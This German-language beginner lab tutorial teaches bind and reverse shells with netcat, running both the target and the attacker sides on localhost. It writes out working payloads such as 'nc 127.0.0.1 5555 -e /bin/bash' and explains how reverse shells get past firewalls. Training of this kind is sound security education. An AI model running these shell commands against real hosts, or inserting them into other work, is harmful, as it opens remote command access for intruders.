Bind- und Reverse-Shell-Payloads

CybersicherheitBeginner
Jetzt üben

Einführung

Willkommen zum Lab über Bind- und Reverse-Shell-Payloads. Im Bereich der Cybersicherheit ist der Fernzugriff auf ein System ein grundlegendes Konzept. Dieser Zugriff wird typischerweise über „Shells“ erreicht, die eine Befehlszeilenschnittstelle zum entfernten System bereitstellen.

Es gibt zwei primäre Methoden, um diese Verbindung herzustellen: Bind-Shells und Reverse-Shells. Den Unterschied zwischen beiden zu verstehen, ist sowohl für die offensive Sicherheit (Penetration Testing) als auch für die defensive Sicherheit (Firewall-Konfiguration und Incident Response) von entscheidender Bedeutung. In diesem Lab verwenden Sie netcat (oft als das „Schweizer Taschenmesser“ der Netzwerktechnik bezeichnet), um beide Arten von Payloads direkt in Ihrer Umgebung zu simulieren und mit ihnen zu interagieren.

Der wichtigste Unterschied liegt darin, wer die Verbindung initiiert. Diese einzelne Designentscheidung bestimmt, welche Seite erreichbar sein muss und welche Netzwerkkontrollen die Verbindung wahrscheinlich stören werden.

Payload-Typen verstehen

In diesem Schritt untersuchen wir die theoretischen Unterschiede zwischen einer Bind-Shell und einer Reverse-Shell und bereiten unsere Arbeitsumgebung vor.

Eine Bind-Shell liegt vor, wenn die Zielmaschine einen Kommunikationsport öffnet und darauf wartet, dass der Angreifer eine Verbindung zu ihr herstellt. Stellen Sie es sich wie einen Server vor, der auf einen Client wartet. Das Ziel „bindet“ eine Shell (wie /bin/bash) an einen bestimmten Port. Der Angreifer verbindet sich dann aktiv mit diesem Port, um die Kontrolle zu erlangen. Diese Methode scheitert in realen Szenarien oft, da Firewalls eingehende Verbindungen zu unerwarteten Ports normalerweise blockieren.

Dies ist konzeptionell einfach, aber operativ anfällig, da es voraussetzt, dass der Angreifer den neuen Listening-Port des Ziels direkt erreichen kann.

Eine Reverse-Shell ist das Gegenteil. Der Angreifer öffnet einen Kommunikationsport auf seiner eigenen Maschine und wartet. Die Zielmaschine wird dann gezwungen, sich aktiv zurück zur Maschine des Angreifers zu verbinden. Da Firewalls ausgehenden Datenverkehr (wie beim Surfen im Internet) im Allgemeinen zulassen, sind Reverse-Shells wesentlich erfolgreicher darin, Netzwerkbeschränkungen zu umgehen.

Deshalb dominieren Reverse-Shells das Design von Payloads in der Praxis: Sie passen besser zu den üblichen Netzwerkrichtlinien, die ausgehenden Datenverkehr erlauben.

Lassen Sie uns überprüfen, ob unser netcat-Tool bereit ist. Wir verwenden nc, um unsere Shells zu erstellen. Führen Sie den folgenden Befehl aus, um das Hilfemenü für netcat anzuzeigen:

nc -h

Sie sollten eine Ausgabe ähnlich der folgenden sehen, die das -e-Flag enthält. Das -e-Flag ist entscheidend, da es uns ermöglicht, ein Programm (wie eine Bash-Shell) auszuführen, nachdem eine Verbindung hergestellt wurde:

[v1.10-47]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
...
        -e prog                 program to exec after connect [dangerous!!]
...

Um Ihr Verständnis zu festigen, erstellen wir eine kurze Notizdatei in Ihrem Projektverzeichnis. Verwenden Sie den echo-Befehl, um eine kurze Zusammenfassung in eine Datei namens payload_notes.txt zu schreiben:

echo "Bind Shell: Attacker connects to Target. Reverse Shell: Target connects to Attacker." > ~/project/payload_notes.txt

Sie können den Inhalt Ihrer neuen Datei mit dem cat-Befehl anzeigen:

cat ~/project/payload_notes.txt

Bind-Shell-Payload konfigurieren

In diesem Schritt konfigurieren Sie eine Bind-Shell und verbinden sich mit ihr. Wir simulieren sowohl das „Ziel“ als auch den „Angreifer“ auf Ihrer aktuellen Maschine.

Zuerst müssen wir das Ziel einrichten. Das Ziel verwendet netcat, um an einem bestimmten Port zu lauschen und eine Bash-Shell daran zu binden. Wir verwenden Port 4444. Wir fügen ein kaufmännisches Und & am Ende des Befehls hinzu, um ihn im Hintergrund auszuführen, damit wir dasselbe Terminal weiterverwenden können.

Führen Sie den folgenden Befehl aus, um den Bind-Shell-Listener zu starten:

nc -lvp 4444 -e /bin/bash &

Lassen Sie uns diesen Befehl aufschlüsseln. Das -l-Flag versetzt das Programm in den Listen-Modus für eingehende Verbindungen, während das -v-Flag den Verbose-Modus aktiviert, um detailliertere Ausgaben zu erhalten. Das Argument -p 4444 gibt den lokalen Port an, an dem gelauscht werden soll, in diesem Fall 4444. Der Parameter -e /bin/bash ist entscheidend, da er die Bash-Shell ausführt, sobald eine Verbindung hergestellt wird. Schließlich führt das &-Symbol den gesamten Prozess im Hintergrund aus.

Sie sollten eine Ausgabe sehen, die anzeigt, dass netcat lauscht:

listening on [any] 4444 ...

Agieren Sie nun als Angreifer. Sie verbinden sich mit dem offenen Port des Ziels. Da das Ziel Ihre eigene Maschine ist, verbinden Sie sich mit der lokalen Loopback-Adresse 127.0.0.1.

Führen Sie den folgenden Befehl aus, um sich mit der Bind-Shell zu verbinden:

nc 127.0.0.1 4444

Sie sehen eine Verbindungsnachricht. Sie interagieren nun mit der Bash-Shell, die an Port 4444 gebunden ist. Ihr Terminal-Prompt ändert sich möglicherweise nicht, aber die Befehle, die Sie eingeben, werden jetzt über die netcat-Verbindung ausgeführt.

Versuchen Sie, einen einfachen Befehl auszuführen, um Ihren Zugriff zu überprüfen:

whoami

Die Ausgabe sollte labex lauten. Geben Sie nun exit ein, um die Bind-Shell-Verbindung zu schließen und zu Ihrer normalen Terminalsitzung zurückzukehren:

exit

Reverse-Shell-Payload konfigurieren

In diesem Schritt konfigurieren Sie eine Reverse-Shell. Dies ist die gebräuchlichere und praktischere Methode in realen Szenarien. Hier richtet der Angreifer einen Listener ein, und das Ziel führt einen Payload aus, der eine Verbindung zurück zum Angreifer herstellt.

Um den Verbindungsfluss besser nachvollziehen zu können, verwenden Sie für diesen Schritt zwei Terminalfenster oder Tabs. Terminal 1 fungiert als Angreifer und Terminal 2 als Ziel.

Starten Sie zuerst in Terminal 1 den Angreifer-Listener auf Port 5555:

nc -lvp 5555

Lassen Sie diesen Listener laufen. Agieren Sie als Nächstes in Terminal 2 als Ziel und führen Sie den Reverse-Shell-Payload aus:

nc 127.0.0.1 5555 -e /bin/bash

Sobald der zweite Befehl ausgeführt wird, sollte Terminal 1 eine Ausgabe anzeigen, die eine erfolgreiche Verbindung vom Ziel signalisiert:

listening on [any] 5555 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 52348

Sie haben erfolgreich eine Reverse-Shell gefangen! Das Ziel hat sich mit Ihrem Listening-Port verbunden. Genau wie zuvor können Sie nun Befehle ausführen.

Überprüfen Sie Ihre Verbindung, indem Sie den Inhalt des aktuellen Verzeichnisses auflisten:

ls

Sie sollten die Datei payload_notes.txt sehen, die Sie zuvor erstellt haben. Wenn Sie fertig sind, geben Sie exit ein, um die Reverse-Shell-Verbindung zu schließen:

exit

Lokale Listener einrichten (LHOST/LPORT)

In professionellen Penetration-Testing-Frameworks wie Metasploit werden Sie häufig auf die Begriffe LHOST und LPORT stoßen. LHOST (Local Host) bezieht sich auf die IP-Adresse der Maschine des Angreifers, also die Maschine, die auf die Verbindung wartet. LPORT (Local Port) bezieht sich auf den spezifischen Port auf der Maschine des Angreifers, der aktiv auf diese eingehende Verbindung wartet.

In diesem Schritt verwenden Sie Linux-Umgebungsvariablen, um diese Werte einfacher wiederverwendbar zu machen. Verwenden Sie auch hier zwei Terminalfenster oder Tabs, damit der Angreifer-Listener und der Ziel-Payload getrennt bleiben.

Definieren Sie zuerst in Terminal 1 die Variable LHOST. Da wir lokal testen, verwenden wir die Loopback-Adresse:

export LHOST=127.0.0.1

Definieren Sie als Nächstes die Variable LPORT. Wir verwenden für diese letzte Übung Port 6666:

export LPORT=6666

Sie können überprüfen, ob diese Variablen korrekt gesetzt sind, indem Sie den echo-Befehl verwenden:

echo "Listening on IP: $LHOST and Port: $LPORT"

Starten Sie nun den Listener in Terminal 1:

nc -lvp $LPORT

Wechseln Sie dann zu Terminal 2 und definieren Sie dort dieselben Variablen:

export LHOST=127.0.0.1
export LPORT=6666

Verwenden Sie diese Variablen, um den Reverse-Shell-Payload von Terminal 2 auszuführen:

nc "$LHOST" "$LPORT" -e /bin/bash

Zurück in Terminal 1 sehen Sie, dass die Verbindung an Port 6666 hergestellt wurde:

listening on [any] 6666 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 48112

Sie sind nun über die Reverse-Shell unter Verwendung dynamischer Variablen verbunden. Führen Sie einen Befehl zur Überprüfung aus:

pwd

Beenden Sie abschließend die Shell, um die Übung abzuschließen:

exit

Zusammenfassung

Herzlichen Glückwunsch! In diesem Lab haben Sie erfolgreich die Mechanismen von Bind- und Reverse-Shells erforscht. Sie haben gelernt, dass Bind-Shells erfordern, dass der Angreifer eine Verbindung zum Ziel herstellt, während Reverse-Shells erfordern, dass das Ziel eine Verbindung zurück zum Angreifer aufbaut, was sie äußerst effektiv gegen Firewalls macht. Sie haben außerdem geübt, diese Payloads mit netcat zu konfigurieren, und gelernt, wie man LHOST- und LPORT-Umgebungsvariablen verwendet, um lokale Listener dynamisch einzurichten. Diese grundlegenden Konzepte sind essenziell für das Verständnis von Netzwerksicherheit und Payload-Bereitstellung.